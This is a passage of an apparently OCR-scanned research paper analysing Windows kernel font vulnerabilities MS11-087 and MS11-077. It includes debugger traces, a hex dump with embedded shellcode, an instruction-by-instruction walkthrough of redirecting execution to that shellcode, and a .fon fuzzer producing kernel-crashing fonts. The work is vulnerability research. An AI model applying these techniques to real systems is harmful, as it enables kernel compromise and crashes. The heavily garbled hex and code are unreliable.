access in subsequent codes; thus, disturbing the function to perform normally.

kd> r

eax=fe29937c ebx=fe298£98 ecx=£fe299098 edx=00000001 esi=fe298f98 edi=00clbb9%4
eip=937fcdSa esp=965871dc ebp=96587268 i1opl=0 nv up €1 ng nz na po nc
cs=0008 ===0010 d==0023 es=0023 {==0030 gs=0000 efl=00000282
wind2k!itrp LSW+0=55:

937fcdSa ££40 call eax {fe29937c}

kd> dd fe298£98 11
fe298£98 £fe298bl0
kd> dd fe298£98+4 11
fe298f9%c {fe298f14

fnt_GlobalGraphicStateType+134h
(cvtCount)

kd> dd £e298£98+8 11
fe298fal fe298£94
kd> dd fe298£98+134 1
fe2990cc 00000081

Jed >
win3Zkl=sfac GetSbitBitmap+0xf4: BEFORE
93281cbhbl12 0806 | oxr byte pty |[e=i]. all]

kd> db e=i

f=2930cc 00 00 00 OO0 00 04 00—00 00 04 00 00 00 04 00 . . .. .. ..........
f=2990dec OO0 00 04 00 00 OO0 00 00-—01 00 OO0 OO0 10 27 00 OO0 . ... ......... g
fe2990ec 64 00 00 0D 80 96 98 D0—50 5d la fe 10 8f 29 fe d.......P1....).
fe2990fc 06 00 00 00 00 00 00 00—00 00 OO0 00 OO0 00 OO0 OO0 ... . ..o ivunnn
f=29910c 00 00 00 00 00 00 00 00—00 00 00 00 00 00 00 OO0 . ... ............
fe29911c 00 00 OO0 OO0 00 OO0 OO0 0O0O—00 OO0 OO OO OO0 0O OO OO
fe29912c 00 00 00 00 00 OO0 OO0 0O0O—00 OO0 OO OO0 OO OO0 OO OO
£§29913c 00 00 00 00 OO0 OO0 OO0 0OO—00 OO OO OO OO OO OO0 OO

> P
g%gi?tiﬁfig_GetSbi tBitmap+0xf6: 5

L=J iLrnc =D

kkd> db esi AFTER
f=2990cc ﬁiﬂ 00 OO0 00 OO0 00 04 00—00 00 04 00 D00 00 04 00 .. ..oo.ooiowan oo
fe2990dc 00 00 04 00 00 OO0 00 0O0—01 00 OO0 00 10 27 00 00 ... ..........
fe2990ec 64 00 OO0 00 80 96 98 D0—50 5d 1la fe 10 8f 29 fe d....... F] »
fe2990fc 06 00 00 00 00 OO0 00 O0O—00 00 OO0 00 OO0 00 00 OO0 . ... .....0%c.oouoo
fe29910c 00 00 OO0 00 OO0 00 00 0O0—00 00 OO0 00 OO0 00 00 OO0 .. .........00uuo.
fe29911c 00 00 OO0 00 OO0 OO0 00 OO0—00 00 OO0 00 OO0 00 00 OO0 . ... ...ouowuoenon
fe29912c 00 00 OO0 00 00 OO0 OO0 0O0O—00 00 OO0 OO0 OO0 00 OO0 OO0 .. .o.ovvviuaonnn.
fe29913c 00 00 OO0 00 OO0 OO0 OO0 O0O—00 00 OO0 OO0 OO0 00 OO0 OO0 . ... ....cuowuouuno.

Figure 9: Integer Overwrite to the cvtCount of fnt_GlobalGraphicState

As the original buffer allocation of ulWorkmemsSize is not sufficient for the special design

of

yOffset position at 0x0052, eventually, it will overwrite to the cvtCount syntax of the next

function, fnt_GlobalGraphicStateType. fnt_GlobalGraphicStateType is the function designed
call the instruction set. Its syntax is:

fypedef struct pfnt_GlobalGraphicStateType {

F26Dot6* stackBase; /* the stack zone area */

F26Dot6* store; /* the storage zone area */

F26Dot6* controlValueTable; /* the control value table */

int8 non90DegreeTransformation; /*bit0 is 1 if non-90 degree
uintl6 cvtCount;

} pfnt_GlobalGraphicStateType;

to
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The TrueType instruction set [9] provides a large number of commands designed to allow
designers to specify how character features should be rendered. It controls the way in which a
glyph outline will be grid-fitted for a particular size or device. Instructions can appear in a
number of places in the font file tables that make up a TrueType font. During reverse
engineering, we learn that the fnt_GlobalGraphicStateType function is constructed as below:

+0h = StackBase
+4h = Store

+8h ControlValueTable

+90h = non90DegreeTransformation

+134h = cvtCount

An interpreter is designed to carry out the instructions associated with its glyph. All instructions
are supposed to act within the context of the Graphics State. Graphics State variables have
default values as specified in Appendix 2 and the values can be determined or changed using
instruction. The irtp_InnerExecute function is called to map the opcode with the corresponding
TrueType instruction set.

v ¥
(=
BFEB5BF55
BFBSBF5S loc_ BFBSBFSS:
BF85BF55 mouvzx edx, byte ptr [eax]
BF85BF58 sub dword_BFA196A0, 1
BF8SBFSF jz short loc_BF8S5BF73
Jak
L 4 h 4
[ s s yd "I
BFE5BF61 lea ecx eax+] BF85BF73
mnoy eax, _tunction[edx» BF85BF73 loc_BF8S5BF73:
BFBSBF6B cal eax BF85BF73 mouv dword BFA1968C, 116Eh
cm eax, esi
BF8S5BF6F jb, short loc_ BF85BF5S5 \
- T
. L S—
v ANER ;
- N
pop esi BF85BF 7D
e retn BFBS5BF7D loc_BFS85BF/D:

BF85BF7D pop i
BF8SBFFE retn
BF85BF7E itrp_InnerExgcute endp
BFBSBF7E

OO DT itrp_InnerExecute
0003BAFD as BO
0003BBOD : 50 BO
0003BBl0 @2 BO 50 61 B8 FF DF 23 78 BO 80 1€ BO 00 43 20
0003BB20 PO OL 61 20 BO 01 61 45 BO 01 23 42 45 BO 02 23
0003BB30 @2 45 BO 03 23 42 BO Ol 43 BO D0 S0 5C BO 18 23 : s
0003BBE40 (78 BO 0L 43 BO 02 43 61 BO 0D 23 78 BO 0l 43 HO ;Function[OxBO]:itrp_PUSHB1

D00 3BESO P3 43 61 SC BO 2B 23 78 BO 00 43 BO 01 60 20 BO

O003BAED

0003BBE0 PO 23 42 BO SO 61 5C BO 31 23 75 BO 01 BO 02 43 a0’ ; ;
0003BE70 |42 BO 02 BO 03 43 42 BO 03 BO 00 43 45 42 Ba FF ;00" is parameterof the instruction
0003BBSO  BS 1C BO 00 43 BO D3 60 45 BO 50

0003BE90 51 37 01 01 00

000 3BBAD 00 00 00 08 00 66 00 03 29-01 04 02 00 00 00 65

Glyph data in hexadicimal format

Figure 10: itrp_InnerExecute function
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As shown in Figure 10, the itrp_InnerExecute is initialized by mapping the opcode of “B0” with
“move ax, _function[edx*4]” and “call eax” instructions. The _function[edx*4] will map the
corresponding function to perform the corresponding action. The above instance shows that the
0xB0O opcode calls the itrp_PUSHB1 function. The itrp_PUSHB1 functions will store the “00”
parameter (offset+1 of “b0”) into the StackBase of fnt_GlobalGraphicStateType function. The
function will iterate over each instructions set to instruct how character features should be
rendered. The table in Appendix 1 shows the detail of every instruction that has been analyzed.
The itrp_InnerExecute function should perform well in the first 25 routines until it reached the
overwrite integer that had happened as mentioned earlier.

The overwrite byte of cvtCount syntax value from original 1 to 81 led the function to call the
offset outside of the supposed range of instruction set. Upon the formula,
(fnt_GlobalGraphicStateType offset) + (stateBase-1)* 4, it led the pointer pointing to
FPGMDirectory.DataFPGM offset. The pointer will move 0x50 byte forward due the itrp_ ADD
function and end at DataFPGM[80], where a perfect shellcode can be placed to begin the
exploitation.

Table 3: Integer Overwrite led the pointer pointed to FPGMDirectory.DataFPGM offset

Itrp_ADD 2f 03 2c 30009

Itrp_ RCVT fe3c532c 03 2c 30009 Actually read the data from
pfnt_GlobalGraphicStateType(fe3c4f9
8)+2e*4=fe3c532c
Note: address fe3c532c¢ pointed to
FPGMDirectory -> DataFPGM

Itrp_PUSHB1 fe3c532c 50 2c 30009

Itrp_ADD fe3c537c¢ 50 2c 30009

Itrp_PUSHB1 fe3c537c 00 2c 30009

Itrp_RS fe3c537c 2c 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2c (read)
[storage+4]=8215ed9e
[storage+8]=8215ed9e
[storage+c]=8215ed9e

Itrp_SWAP 2c fe3c537¢ 2c 30009

Itrp_ WCVT 2c fe3c537c 2c 30009 address point to
FPGMDirectoryEntry->DataFPGM
(fe3ch37c) save in
pfnt_GlobalGraphicStateType(fe3c4f9
8)+2c*4 =fe3c5048

Itrp_ PUSHB1 01 fe3c537¢c 2c 30009

Itrp_LSW Perfectly landed at the shellcode
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0000DOOBO DO 82 00 1E 00 D3 BA 7C 0O 00 00 DE 6C 6F 63 61 a||name value Offset Size
000000CO 00 SE 00 00 00 03 BA D4 OO 00 00 OE 6D 61 78 70
000 000D0D 0l 08 00 Z3 00 03 BA 04 00 00 DO Z0 6E 61 6D 65 DataFPGM{ES] Liad] 0:0000014d LLOMOOO0L
0000OOEG 1C DD 3A DB 00 03 BB A0 00 00 OL 7C 70 &F 73 74 DataFPGM{56] 00 0x0000014  0x00000001
D00D0I0O DS 5D FF 51 00 03 DA Co 00 DO 00 0D B8 7F co 25 s R CL I PR (L
00000110 0L CO 63 B8 3A 40 60 B8 00 OC 60 IC 00 00 00 00 DataERaMGa] o CHORO001 B0 000001
00000120 00 00 00 00 00 00 00 00 OO0 00 00 OO 00 00 0O 00 DataFPGM{E3] 00 0x00000151  0x00000001
00000130 00 00 00 OO0 00 00 0O 00 0O 00 00 00 00 OO0 00 00 DakaFPEMET0] oy 00000182 | (xOD000001
00000140 0O 0D 00 0O 00 00 00 00 OO0 OO0 00 OO 00 00 0O 00
00000150 00 00 00 00 00 00 00 00 00 00 o0 oo [EG)ss eB Ec DataFPaLTL] L] Lo B e i e
00000160 &1 EC F8 02 00 00 C7 45 F4 00 00 00 00 C7 45 FC DataFPGM{72] o0 0x00000154  0x00000001
00000170 0O 30 00 00 B9 76 01 00 00 OF 32 66 25 Ol FO 48

DataFPGM{ 73 =0 000000155 Ox00000001
00000180 8L 38 4D 5A S0 00 75 F7 8B FO 8B SE 3C 03 DE E8 el = =
00000190 32 01 00 00 E8 00 00 00 0O SA 81 EA 3D 10 40 00 DataFPGM(74] 0x0 0x00000156 | 0x00000001
D0DOOLA0 8B 82 22 12 40 00 40 66 8l 38 C2 10 75 F8 83 CO DataFPGM7S] 0x0 Ox000001S7 | Ox0000G001
000D0IBO 03 88 82 22 12 40 00 64 8B 1D 24 Ol 00 00 BB SB
000001CO 50 8B SB B8 00 0O 00 81 EE BS 00 OO0 00 8B 83 6C Daarpa7e] 20 OO o8 | 09000001
00000100 Ol 00 00 3D 77 69 6E 6C 75 E7 8D 45 DC 50 53 8B DataFPGM77] s 00000159 Ox00000001
OOD0OLE0 DA FF 92 1A 12 40 00 6A 40 68 00 10 00 00 8D 45 CataFPGM7E] el Ox000001Sa  0x00000001
00DOOLFO FC 50 A 00 8D 45 F4 50 64 FF FF 93 16 1z 40 00
00000200 85 CO OF 85 AE 00 00 00 BS €C 02 0D 00 8D BD 08 DRAFPa7I] Lol QA000CI1SD-._ | GxON00conL
00000210 FD FF FF 33 CO F3 AA 8B 45 F4 89 85 CO FD FF FF (g0] | oxs0 00000015 0x00000001  Datalt...
00000220 BB 4D F4 81 CL 24 2A 00 00 85 8D CC FD FF FF C7 DataFPGM{E1] x5 0x000001Sd  0x00000001
00000230 ©5 DO FD FF FF 23 00 00 00 C7 65 €8 FD FF FF 02 =5 = =
00000240 02 00 00 C7 65 C4 FD FF FF 1B 00 00 00 C7 85 AOD e
00000250 FD FF FF 23 00 00 00 C7 85 9C FD FF FF 23 00 00 DataFPGMe
00000260 00 C7 65 98 FO FF FF 3B 00 00 00 C7 85 94 FD FF DataFPGM84
00000270 FF 00 00 00 00 C7 85 08 FD FF FF 17 00 01 00 8B
00000ZB0D 7D F4 B9 00 08 00 00 8D B3 32 12 40 00 F3 A4 6A DataFPGMES

- -
00000250 00 8B 4% F4 05 24 Z2A 00 00 50 8D 85 08 FD FF FF DataFPGM{S5
D00DDZA0 50 6A 00 6A FF 6A 00 68 FF FF 1LF 00 8D 45 F8 50 DatsFPGMET] Perfectly Jump |nt0
00000ZB0 FF 93 22 12 40 00 8D 45 DC 50 FF 93 1lE 12 40 00
000002CO0 8B ES 5D 61 EB FE 60 8B S3 78 03 D6 33 DB BB 4A DakaFPGMBY

00000ZDO 20 03 CE BB 42 1C 03 C6 8B 7A 18 8B 6A 24 03 EE | DataFPGM{EY the ShE"COde _

win3Zklictrp ILSW+0x49:

937 fcdde 8bS86acOO000O0O0 mowr eax  dwvord ptx [es
Jed >
win3Z2klitxp ISW+0=x4f

937fcdS54 84800010000 lea ecx. [esi+100h]

kd> reax

eay=sfe2d937c

kd> db f=29937c
| & 0]

fe29937c 81 ec £8 02—00 = oo
f=29938c 00 30 00 00—b9 o 66
fe=29939c 81 38 44 Sa-—90 7 Se
fe=2993ac 22 01 00 O00—e2 u] -
f=2993bc 8b 82 22 12—40 4 10
fe2993cc 03 89 82 22—12 v} o1
fe2993dc S0 8b 9b bs-—00 ao
fe2993ec 01 00 00 3d4-—-77 45
kd> p

win32klitx

937fcdSa ffd call eax

Figure 11: Integer Overwrite led the pointer call the shellcode
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3. MS11-077:

The severeness of this vulnerability is that a bluescreen could appear on the computer if a user
opens a directory, folder or a network share which contains a specially crafted font file (.fon file)
without clicking or opening the file. While studying this vulnerability through reverse engineering,
it was found that a safe unlinking protection in kernel pool is implemented by Microsoft. The idea
of performing this protection is to protect kernel pool memory corruption at the earliest
opportunity. According to our fuzzing results, font with width=498 and height=10 will success
overwritet 3 byte into the next kernel pool header and cause the BSOD:
BAD_POOL_HEADER(19) error. Unfortunately, in this case, the overwriting of the Previous
header at the next kernel pool in terms of bypass safe unlinking becomes difficult due to the
limitation and restriction of calculation designed by Microsoft.

kd> db fe44dbs0 1300
fedddb60 51 00 2f 4a 42 6d 66 64-£0 Sd 8b 85 a0 a2 78 fe Q.- JBmfd.]....x.
fedddb70 00 00 00 00 OO0 00 00 00-fc 00 OO0 00 bO a2 78 fe ..............
fed4db80 00 00 00 00 d0 a2 78 fe-01 00 00 00 05 00 00 00 ......%.........
fe44db30 07 00 00 00 ba 09 00 00-60 S5 00 00 03 00 00 0O ........ =11 - N
fedddbal £8 3e 0f 83 =0 £8 3= 0f-83 e0 £8 3e O0f 83 =0 £8 .>....>....>....
fedddbbl 3e 0f 83 e0 £8 3= Of 83-e( f8 3e Of 83 el £8 38 >....>....>. ...>»
fedddbcd 0f 83 e0 £8 3e 0f 83 e0-£8 3e Of 83 e0 £8 32 0f ... .>....>....>.
fedddbd0 83 e0 £8 3= Of 83 =0 £8-3e Of 83 =0 £8 3e 0f 83 %
fedddbel e0 £8 3e 0f 83 =0 £8 3e-0f 83 e0 £8 3e 0f 83 el .
fedddbf0 £8 3e Of 83 e0 8 3e 0f-83 e0 £8 3e 0f 83 o0 £8 = .
fedddc00 22 0f 83 =0 £8 3= Of 83-e0 £8 3= 0f 83 0 £8 2e > Buacheck dnalysis :
fedddcl0 0f 83 e0 £8 3= 0f 83 e0-£8 3e 0f 83 =0 £8 3o 0f .

fo44doa0 o0 £6 3 D B3 a0 £8 JoOF 83 a0 £8 Jm Of 83 ap | BFCCLENGE ()

e c e e el e e e e + The pool is already corrupt at the time of the current uest

fedddcd0 £8 3 Of B3 e0 £8 3= 0f-83 0 £8 3e 0f 83 ©0 £8 . This nay or ey not be dus to the caller R

fed4dc50 e 0f 83 e £8 3= 0f 83-=0 £8 3e 0f 83 el £8 Jg 5 The intemnal pool links must he valked to figure cut & possible cause of
fadddc60 0f 83 e0 £8 3= 0f B3 e0-£8 3= 0Of 83 o0 £8 3= Of . cenificr to s suspect driver. | (o o 1o e suspect fags ar ihe Criver
fedddc70 83 e0 £8 3= Of 83 e £8-3c Of 83 e0 £8 3o 0f 83 . hgwants = | bkt .

fedddc80 e0 £8 3e 0f 83 =0 £8 3=-0f 83 e0 £5 3e 0f 83 o0 | Argl: 00000020, & pool block header size is corrupt.

fedddc90 £8 3e Of B3 =0 £8 3= 0f-83 o0 £8 3= 0f 83 o0 £8 . [iras fotsscds ] The nort poot ontey. o (0% vithin the pege
fedddcal 3e 0f 83 e0 £f8 3e O0f 83-=0 £8 3e 0f 83 el {8 3e » wror—retree® (reserved)

fedddebl 0f 83 e0 £8 3e 0f 83 e0-£8 3e 0f 83 o0 £8 3e Of

fedddecd 83 el E38 3e Of 33 el £8-3e Of 83 =0 8 3e 0f 83
fedddcd0 e0 £8 3e Of 83 =0 £8§
fedddee0 11 07 02 1b 01 00 00 O
fedddef0 08 82 00 00 00 00 00 00—
fe44dd00 00 00 00 00 00 00 0O
fe44dd10 00 00 00 00 00 00 00

' kd)‘ !anols'z.\c -y

w

* ‘Debugging Details:

0x19_20
fedddbbl Paged session pool
_ DRIVER_FAULT

Overwrite 3 bytes in
next pool header

RANSFER: from B28eSe7l to 82874394

TACK_TEXT:

Be56564c B28eSe7l 00000003 bd359=8d 00000065 ntiRtlpBreakVithStatusInstruction
Bc56569c B28e696d 00000003 fedddbbl 000001 ntiKiBugCheckDebugBreak+(xlc
8c565260 B29281k6 00000019 00000020 fedddbs) nt!NeBugCheck2+0xs8h

Bc565adé 94baclfd fedddbbd 00000000 fe?Ba2bl nt!ExFreePoolVithTag+0xlbl
BoS6Saec 94c70204 fedddb? F4c?icdf feldddcd winilk!EngFreeMen+0xlf

BcS65b00 94c79cfS fedddb7? 8cS65béc BeS6ShE8 windZk!BmfdCloseFomtContext+0kdl
BeSESB10 94c85501 feldd9cd 00000000 BeS65bed windlk)BmidDestroyFont+0xlé
BcSEShAE 94c88SE4 feldd%cd 00000000 8cS6Scde winilk!PDEVOR]: :[estroyFont+0xé?
BcSEe5b76 94bi0dle 00000000 9cS65bad 00000001 winld2k!REONTOR]: wDeleteRFONT+0x33
BcSESbbe 94bf2d15 feldd9cd 810allbe 8cS6Scdc wind2k!RFONTOBI : :bMakeInactiveHelpsr+0x25a

Figure 12: Overwrite 3 byte in the Next Kernel Pool
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(- Yaké Windows 7 —
- [ Kk A
). G @ 5 I

Suspend Take Snapshot Rollback Settings Unity  Full Screen

w problem has been detected and windows has been shut down To prevent damage

To your Computer.

EAD_POCOL_HEADER

s the first time wol

computer. If this

Check to make sure any new hardware or software iz properly installed.
i Tlatiaon, : your hardware or software manufacturer
ws updates wou might need.

o
artup options,

dump ...

To direct input to this virtual machine, click inside the w... :B ﬂ j_ E L] o o

Figure 13: BSOD: BAD_POOL_HEADER(19)

3.1 Fuzzing — .fon font:

The .fon files are created by Micosoft, specifically for the native Windows 3.x library. Today, .fon
files are still supported in Windows 7 and these fonts have been shipped by Microsoft along with
the latest font, TrueType font, for instance.

The .fon fuzzer consists of 2 files, fuzzer.py and mkwinfont.py. The mkwinfont.py is a small
python program that is written and maintained by Simon Tatham, software engineer and free-
software author in Cambridge, UK. The program is created to generate the text description from
the source file. The fuzzer.py file is created by Byoungyoung Lee from
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exploitshop.wordpress.com. The program is mainly designed to generate a text description file
from source fonts and generate Windows bitmap fonts from the text description file.

Minor maodification has been done upon both small utility files. The fuzzer.py originally
generated binary string of “0” and “1”. With the purpose of avoiding any confusion and
increasing convenience in capturing and monitoring the changes, string of “A” has been
replaced instead of “0” and “1”. Thus, the string.atol function has been modified by changing the
given base of 2 to 16, as shown below:

value = string.atol(w, 16)

The fuzzer is initialized by defining the value of height and width in ranges. Next, a font
description (.fd) file will be created upon the value of height and width.

foriinrange(0,256):
fdStr +="char %d\n" % i
fdStr += "width %d\n" % width
if width 1= 0:
for j in range(height):
fdStr += "A"*width + "\n"
fdStr += "\n"
open(filename, "w").write( fdStr)

The mkwinfont.py program is called to generate the Windows bitmap font from the font
description that was created. The explorer function will be called to automatically display the
font.

cmdStr = "explorer %s" % fonFilename

If Windows turned to bluescreen, the vulnerable font size can eventually be determined.

4. Conclusion:

In this article, both TTF and .fon font fuzzers have been explained. The attack work for MS11-
087 has been discussed in detail. Both MS11-087 and MS011-077 vulnerabilities could allow
attackers to bluescreen the machine. The condition could become worse if attackers exploit the
vulnerability by executing arbitrary code on the system with elevated privileges.
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Appendix 1:
stackBase+x (x=0, 4, 8, ¢)
+0 +4 +8 +C

itrp_ PUSHB1 00 Save the parameter 00003baf3
(0x00) in fe3c4b10

itrp_PUSHB1 | 00 00 Save the parameter 00003baf5
(Ox00) in fe3c4b14

itrp_ WS Save the instructions 0003baf5
(0x00)
fe3c4fl4
(pfnt_GlobalGraphicStateType+4)

1 | itrp_FLIPOFF set the
pfnt_GlobalGraphicStateType+0x90
autoflip value to zero

2 itrp_ PUSHB1 00 Save the parameter 0003baf9 (0x00)
in fe3c4b10

3 itrp_RS Use the pusbB1 ‘00’ as store index
and get the data

4 | itrp_RCVT Read the data in ControlValueTable
offset=0

5 | itrp_FLIPON Set the
pfnt_GlobalGraphicStateType+0x90
autoflip value to 1

6 itrp_ PUSHB1 00 Save the parameter 00003bafe
(0x00) in fe3c4b14

7 itrp_ RS Use the pusbB1 ‘00’ as store index
and get the data

8 itrp_ RCVT 00 Use the pusbB1 ‘00’ as store index
and get the data in
ControlValueTable index=0, save in
fe3c4b14

9 |itrp_SUB

10 | itrp_PUSHB1 00 17

11 | itrp_SWAP 17 00 Save the content of ‘stackBase+4’
from previous itrp_ PUSHB1 into
‘stackBase+0’

12 | itrp_JROT Checking content ‘stackbase+4'=0?
If yes failed to jump

13 | itrp_ PUSHB1 00 Push content font data ‘00’ into stack

14 | itrp_RS 00 ‘00’ in itrp_PUSHB1 used as index to
read storage[0]
(pfnt_GlobalGraphicState Type+0x4)
fe3c4fl4 and save in ‘stackbase+0’
fe3c4b10

15 | itrp_PUSHB1 01 Push the ‘01’ from font data into
stackbase+4

16 | itrp_ ADD 01 ‘stackbase+0’ + ‘stackbase+4’

17 | itrp_DUP 01 01 Duplicate data from stackbase+0 to
stackbase+4

18 | itrp PUSHB1 01 01 00 Push data font ‘00’ into stackbase+8

19 | itrp_SWAP 01 00 01 Swap data stackbase+4 and
stackbase+8

20 | itrp_ WS 01 00 01 Save the data ‘stackbase+8’ into
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storage index [x*0]
- x=value in stackbase+4
- ([fe3c4f98+4]=fe3c4f14)

21 | itrp_PUSHB1 01 50 01 Push the font data ‘50’ into
stackbase+4
22 | itrp_SUB ffffffbl 50 01 Value ‘stackbase+0’ — ‘stackbase+4’
= 01-50=ffff ffbl
23 | itrp_PUSHW1 ffffffbl frffffdf Push font data ‘ffdf’ in stackbase+4
24 | itrp_SWAP ffff ffdf ffff ffbl 01 Swap data ‘stackbase+0’ and
‘stackbase+4’
25 | itrp_JROT ffffffdf ffffffbl 01 1. Check ‘stackbase+4'=07? If
yes failed to jump
2. Pointer to font data change
follow the calculation
New pointer=[current pointer
to font data + ‘stackbase+0’-
1] = 00b9baf7
1 itrp_FLIPOFF ffff ffdf ffff ffbl 01 1. Remember now the pointer
to font data is 00b9baf7 or
0003baf7=0x4e
2. set the fe3c4f98+90h
pfnt_GlobalGraphicStateTyp
e+0x90 autoflip value to zero
2 itrp_ PUSHB1 00 ffffffbl 01 Push data font 0003baf9 save in
stackbase+0
3 itrp_RS 01 ffffffbl 01 1. ‘stackbase+0’ as index to
read data from ‘storage’
2. Storage="pfnt_GlobalGraphic
StateType+0x4=edx=fe3c4fl4
3. Data from storage[0]=01
save in ‘stackbase+0’
4 | itrp_RCVT fe3c4bl0 | ffffffbl 01 1. cvtCount=pfnt_GlobalGraphi
cStateTye+134h=0x81
2. ecx="stackbase+0'=01
3. pfnt_GlobalGraphicStateTyp
e+0x8=pControlValueTable=fe3c4f9
4
4, data read from
pControlValueTable=[edx+ecx*4]
= fe3c4f94+1*4
= fe3c4b10
5. the data save in ‘stack+0’
5 | itrp_FLIPON fe3c4bl10 | ffffffbl 01 Set the
pfnt_GlobalGraphicStateType+0x90
autoflip value to 1
6 itrp_ PUSHB1 | fe3c4bl10 00 01 Push the font data ‘00’ save in
‘stackbase+4’
7 |itrp RS fe3c4bl10 01 01
8 itrp_ RCVT fe3c4b10 | fe3c4db 01 1. offset="stackbase+4"*4=1*4=
10 4
2. read
controlValueTable[offset]=fe
3c4b10
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3. save fe3c4b10 into
‘stackbase+4’
9 itrp_SUB 00 fe3cdb 01
10
10 | itrp PUSHB1 00 17 01 Push data into stackbase+4
11 | itrp_ SWAP 17 00 01
12 | itrp_JROT Failed to jump (because
‘stackbase+4'=0)
13 | itrp_PUSHB1 00 00 01
14 | itrp_RS 01 00 01
15 | itrp_ PUSHB1 01 01 01 Push data into stackbase+4
16 | itrp_ ADD 02 01 01
17 | itrp_DUP 02 02 01 Duplicate the content
18 | itrp_PUSHB1 02 02 00
19 | itrp_SWAP 02 00 02
20 | itrp_WS 02 00 02 1. offset="stackbase+4*4=00*4
=0
2. save value of ‘stackbase+8’
in storage[offset]
21 | itrp_PUSHB1 02 50 02 Push the font data ‘50’ into
stackbase+4
22 |itrp_SUB ffff ffb2 50 02 ‘stackbase+0Q’ — ‘stackbase+4’
23 | itrp PUSHW1 ffff ffb2 ffff ffdf 02 Push font data ‘ffdf’ in stackbase+4
24 | itrp_ SWAP ffff fidf ffff ffb2 02
25 | itrp_JROT ffff ffdf ffff ffb2 02 ‘stackbase+4’ not equal zero, Jump
success
Pointer to font data
='stackbase+0'+ current addr -1
= ffff fidf + 00b9bb19 -1
= 00b9baf7

From (1) until (25) is a routine code. itrp_JROT is a jump back to the previous font offset depending on:
a. stackbase+0 add to current font offset address minus 1
b. jump if stackbase+4 not equal zero

from (22), (24), (25)
a. itrp_SUB will only produce zero in ‘stackbase+0’ if ‘stackbase+0'=50
b. itrp_SWAP will change the content of ‘stackbase+0’ to ‘stackbase+4’; key to decide whether
itrp_JROT succeeds to make a jump
c. itrp_JROT will jump back to address 0003 baf7 and this is the routine instruction

There are three itrp_RS functions to determine the data use in minus with value ‘50’
(3) itrp_RS = stackbase+0

(7) itrp_RS = stackbase+4

(14) itrp_RS = stackbase+0

New condition in breakpoint:

win32k!sfac_GetSbitBitmap

win32klitrp_InnerExecute

win32klitrp_FLIPOFF ;start of routine and check stackbase+x ;x=0,4,8
win32klitrp_RS+0x9%e ;set end of function. Important when stackbase+0 equal to 25

1 [itrp FLIPOFF

2 | itrp PUSHB1

3 |itp_ RS 25 | fffffid5 | 25
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4 | itrp_ RCVT 00 ffff ffd5 25
5 |itrp_FLIPON

6 | itrp_ PUSHB1 00 00 25
7 | itrp RS 00 25 25
8 |itrp_ RCVT 00 01 25
Conclusion itrp_RCVT:

1. pControlValueTable=[pfnt_GlobalGraphicState Type+0x8]=[fe3c4f98+0x8]=[fe3c4fal]=fe3c4f94
2. ‘stackbase+4'=25; this value will be used in (3)
3. read the [ControlValueTable+(0x25*4)]=[fe3c4f94+0x94]=[fe3c5028]=01

4. [pfnd_GlobalGraphicStateType+0x24*4]=[fe3c5028]=01; autoflip, same with (3)
5. The data saved in ‘stackbase+4’

itrp_SUB ffff ffff 01 25
itrp_PUSHB1 | ffff ffff 17 25
itrp_SWAP 17 ffff ffff 25
itrp_JROT 17 ffff ffff 25 ‘stackbase+4’ not equal to zero, jump success
The pointer=current addr + 17 -1
=00b9 bb06+17 -1 = 00b9 bblc (0xb0)
itrp PUSHB1 00 ffff ffff 25 Push parameter ‘00’ into ‘stackbase+0’
itrp_RS 25 ffff ffff 25
itrp_DUP 25 25 25
itrp_PUSHB1 25 25 01
itrp_SUB 25 24 01
itrp_DUP 25 24 24
itrp_PUSHB1 25 24 24 01
itrp_SUB 25 24 23 01
itrp_RCVT 25 24 30009 | 01
Notes

[pfnt_GlobalGraphicStateType+134h]=cvtCount=0x81

ecx= ‘stackbase+8'=23

1
2.
3. [pfnt_GlobalGraphicState Type+0x8]=[fe3c4f98+0x8]=pControlValueTable=fe3c4f94
4

Reading

[pControlValueTable+23*4]=[pControlValueTable+23*4]=[fe3c4f94+23*4]=[fe3c5020]=30009
5. (4) same like [pfnt_GlobalGraphicStateType+22*4]= =» [fe3¢c5020]=30009

Important:

1. pControlValueTable=fe3c4f94, pfnt_GlobalGraphicStateType=fe3c4f98
2. default value of cvtCount=1 modified to 0x81 cause over cross to pfnt_GlobalGraphicStateType

itrp_ PUSHB1 25

24

30009

01

itrp_SWAP 25

24

01

30009

itrp_WS 25

24

01

30009

storage index="stackbase+8'=01

storage
=[pfnt_GlobalGraphicStateType+4]
=[fe3c4f98+4]
=fe3c4fl4

store the content ‘stackbase+c’ into
[storage+1*4]

[storage+4]=30009

itrp_ RCVT 25

80

01

30009

1. cvtindex=24

2. actually read the data from
pfnt_GlobalGraphicStateTy
pe+23*4=80
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itrp_ PUSHB1 25 80 02 30009
itrp_ SWAP 25 02 80 30009
itrp_ WS 25 02 80 30009 1. Storage
index="stackbase+4"=02
2. Store the content
‘stackbase+8’ into
[storage+2*4]
[storage+8]=80
Check with windbg:
kd> dd fe3c4f98+4=fe3c4fl4
kd>dd fe3c4f14+8
itrp_ RCVT 01 02 80 30009 Actually read the data from
pfnt_GlobalGraphicState Type+24*4
=01 (autoflip)
itrp_ PUSHB1 01 03 80 30009
itrp_ SWAP 03 01 80 30009
itrp_ WS 03 01 80 30009 1. Storage
index="stackbase+0'=03
2. Store the content
‘stackbase+4’ into
[storage+3*4]
3. [storage+c]=01
itrp_ PUSHB1 01 01 80 30009
itrp_RS 30009 01 80 30009 Index="stackbase+0'=01
Read the data from
storage=[fe3c4f14+1*4]=30009 and
save into ‘stackbase+0’
itrp_ PUSHB1 30009 00 80 30009
itrp_ LT 00 00 80 30009
Itrp_NOT 01 00 80 30009
Itrp_ PUSHB1 01 18 80 30009
Itrp_ SWAP 18 01 80 30009
Itrp_JROT 1. ‘stackbase+4’ not equal
ZEero, jump success
2. New pointer=0x18+current
addr -1=00b9bb58
Itrp_ PUSHB1 00 01 80 30009
Itrp_RS 25 01 80 30009
Itrp_ PUSHB1 25 01 80 30009
Itrp_ADD 26 01 80 30009
Itrp_DUP 26 26 80 30009
Itrp_ PUSHB1 26 26 00 30009
Itrp_SWAP 26 00 26 30009
Itrp_ WS 26 00 26 30009 Storage index="stackbase+4'=0
Store the content ‘stackbase+8’ into
[storage+0*4]=26
Itrp PUSHB1 26 50 26 30009
Itrp_ SUB ffff ffd6 50 26 30009
Itrp_ NOT 00 50 26 30009
Itrp PUSHB1 00 31 26 30009
Itrp_ SWAP 31 00 26 30009
Itrp_JROT 31 00 26 30009 Failed to jump
Itrp PUSHB1 01 00 26 30009
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Itrp_ PUSHB1 01 02 26 30009
